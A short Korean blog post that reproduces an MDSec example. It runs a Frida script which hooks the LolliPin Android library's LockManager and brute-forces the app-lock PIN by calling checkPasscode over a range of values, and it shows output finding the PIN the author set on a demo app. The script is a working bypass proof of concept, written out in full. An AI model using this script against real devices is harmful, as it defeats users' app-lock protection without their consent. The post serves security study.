http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html
상기 사이트에 소개된 예제이다.
원래 코드를 조금 수정해서 진행하였다.
app의 소스코드는 https://github.com/OrangeGangsters/LolliPin 에 있으나, apk 가 없어서, 컴파일 하려 하다가,
https://android-arsenal.com/details/1/1425 에서 찾을 수 있어 apk를 다운로드 했고, 첨부 했다.
Enable 버튼으로 PIN 코드를 입력하고(2580으로 함) 실행시키면 아래와 같이 나온다.(enable로 초기 패스워드 지정)
[*] Bruteforcing PIN code
[*] Testing PIN 2575: false
[*] Testing PIN 2576: false
[*] Testing PIN 2577: false
[*] Testing PIN 2578: false
[*] Testing PIN 2579: false
[*] Testing PIN 2580: true
[*] Testing PIN 2581: false
[*] Testing PIN 2582: false
[*] Testing PIN 2583: false
[*] Testing PIN 2584: false
Good Luck!
# LolliPin bruteforce proof of concept
# Author: Dominic Chell - @domchell
import frida,sys
def print_result(message):
print ("[*] Testing PIN %s" %(message))
def on_message(message, data):
print_result(message['payload'])
jscode = """
Java.perform(function () {
var LockManager = Java.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();
for(var i=2575; i<2585; i++)
{
var result = AppLock.checkPasscode(i+"");
send(i + ": " + result);
}
});
"""
process = frida.get_usb_device().attach('com.github.orangegangsters.lollipin')
script = process.create_script(jscode)
script.on('message', on_message)
print ("[*] Bruteforcing PIN code")
script.load()
sys.stdin.read()
댓글 달기